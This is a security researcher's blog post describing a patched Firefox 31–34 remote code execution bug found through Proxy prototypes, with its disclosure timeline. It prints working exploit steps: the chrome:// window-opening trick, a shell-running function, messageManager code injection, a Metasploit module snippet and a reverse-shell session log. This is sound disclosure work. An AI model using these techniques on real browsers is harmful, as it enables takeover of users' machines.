Hello, I’m Joe Vennix, and this is where I blog.

I am a twenty-four year-old software security engineer. In the past I've worked on Metasploit, RetailMeNot, and clay.io, and majored in CS at the University of Texas at Austin. I like to do random security research, with a focus on Android and OS X.

I am currently busy with life and stuff, but from time to time I will post a personal project up here.

Twitter / Github

Adventures in Browser Exploitation: Firefox 31 to 34 RCE

Posted on 26 Mar 2015

(Note: this is a cross-post of an article I wrote for Metasploit’s blog. The original post can be found here).

A few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies are a neat ECMAScript 6 feature that Firefox has had implemented for some time now. Proxy objects allow transparent interception of Javascript’s normal get-/set-property pattern:

var x = {};
var p = Proxy(x, {
  get: function() {
    console.log('getter called!');
    return 'intercepted';
  },
  set: function() {
    console.log('setter called!');
  }
});

console.log(p.foo);
p.bar = 1;

When run, the above code will print:

> getter called!
> intercepted
> setter called!

This is very useful to Javascript programmers as it allows for the implementation of the Ruby-style method_missing catch-all method. However, there are security implications; the W3C spec often requires objects from untrusted Javascript to be passed to privileged native code. Getters and setters can allow unprivileged code to run in unexpected ways inside of the privileged native code itself, at which point security checks can start to break. One example of this is geohot’s 2014 Chrome ArrayBuffer memory corruption bug, which tricked native code operating on the buffer by defining a dynamic getter method on the ArrayBuffer’s length property (there is a good writeup here).

So the presence of Proxy objects in Firefox mainstream warrants some investigation. After playing with the implementation, some problems were apparent in how privileged code would interact with Proxy objects that were acting as the prototype of another object. For example, the following line would hang the browser indefinitely:

document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});

I played with it some more but could not find a way to abuse the problem further. I reported this to Mozilla as bug 1120261, hoping that someone would investigate. After some back-and-forth I found out that the problem was already fixed in the 35.0 branch, so I put the issue out of my mind.

The breakthrough

A thought struck one day, perhaps the getter is being called back in a different environment. I decided to test this theory by attempting to open a window with chrome privileges: such an operation should not be permitted by unprivileged code. I gave it a shot:

var props = {};
props['has'] = function(){
  var chromeWin = open("chrome://browser/content/browser.xul", "x")();
};

document.__proto__ = Proxy.create(props)

I loaded the page and an alert for “attempting to open a popup window” appeared. This was a good sign, as it meant the chrome:// URL was being allowed to load, and was stopped only by the popup blocker. Which meant… clicking anywhere on the page opened a chrome-privileged URL.

What is chrome://?

Let’s back up a bit. Firefox, like many other browsers, has a notion of privileged zones: different URI schemes have different powers. Chromium does this too (chrome://downloads), and Safari to some extent (file:// URLs). However, Firefox’s chrome:// scheme is rather powerful - the Javascript executing under an origin with a scheme of chrome:// has the full privileges of the browser. In the presence of the right vulnerability, attackers can use this to get a fully-working shell on the user’s machine.

If you want to test this, open the Developer Console (meta-alt-i) and browse to chrome://browser/content/browser.xul. Run the following code (linux/osx only):

function runCmd(cmd) {
    var process = Components.classes["@mozilla.org/process/util;1"]
              .createInstance(Components.interfaces.nsIProcess);
    var sh = Components.classes["@mozilla.org/file/local;1"]
             .createInstance(Components.interfaces.nsILocalFile);
    sh.initWithPath("/bin/sh");
    process.init(sh);
    var args = ["-c", cmd];
    process.run(true, args, args.length);
}

runCmd("touch /tmp/owned");

You should have a file in /tmp/owned.

So if an attacker can find a way to inject code into this window, like we did with the Developer Console, your entire user account is compromised.

Injecting code

Gaining a reference to a chrome:// window is only half the battle. Same Origin Policy prevents attacker.com from interacting with the code in chrome://browser, so we will need to find a way around this. Here I got really lucky; I tried a technique I had used when implementing our 22.0-27.0 WebIDL exploit.

Here’s the technique: by providing the chrome option to open(), when open is called from a chrome-privileged docshell, the provided URL is loaded as the top-level “frame” of the new browser window; that is, there is no skin or interface document that encapsulates our document. A top-level frame has a messageManager property, which is accessible to same-origin code running in other chrome docshells:

// abuse vulnerability to open window in chrome://
var c = new mozRTCPeerConnection;
c.createOffer(function(){},function(){
  var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');

  // we can now reference the `messageManager` property of the window's parent
  alert(w.parent.messageManager)
});

MessageManager is a privileged Firefox API for sending messages between processes. One useful detail is that it allows injecting Javascript code into the process remotely using the loadFrameScript function.

Gaining RCE

From here, gaining remote code execution is trivial, thanks to the Firefox privileged payloads included in Metasploit. Just include the Msf::Exploit::Remote::FirefoxPrivilegeEscalation mixin, and the run_payload method will return a configured piece of Javascript code that will call Firefox’s XPCOM APIs to spawn a reverse or bind shell on the target. JSON is used here to avoid encoding issues:

# Metasploit module (ruby code)
js_payload = run_payload
js = %Q|
    var payload = #{JSON.unparse({code: js_payload})};
    injectIntoChrome(payload.code);
|
send_response_html(cli, "<script>#{js}</script>")

The exploit is available as part of the Metasploit framework, under the module name exploits/multi/browser/firefox_proxy_prototype. Here is what it looks like to use:

msf> use exploit/multi/browser/firefox_proxy_prototype
msf> set LHOST <YOUR-EXTERNAL-IP>
msf> set SRVHOST 0.0.0.0
msf> run -j
# User browses to URL...
msf>
[*] Command shell session 1 opened (10.10.9.1:4444 -> 10.10.9.1:65031) at 2015-02-02 17:03:49 -0600
msf exploit(firefox_proxy_prototype) > sessions -i 1
[*] Starting interaction with 1...
ls /
bin
boot
cdrom
dev
.. etc ..

Timeline

  • Jan 11, 2015: Originally reported to Mozilla as a low-severity DoS, which turned out to be already patched in trunk
  • Jan 13, 2015: Firefox 35.0 shipped with patch
  • Jan 20, 2015: RCE implications discovered and disclosed to Mozilla
  • Feb 04, 2015: Disclosure to CERT/CC
  • Feb 13, 2015: Mozilla updates their original security advisory to note possibility of RCE
  • Mar 23, 2015: Public disclosure

All-in-all I was impressed with Mozilla’s response. Plus they sent me a bug bounty, for discovering an RCE exploitation vector of an already-patched bug. Nice.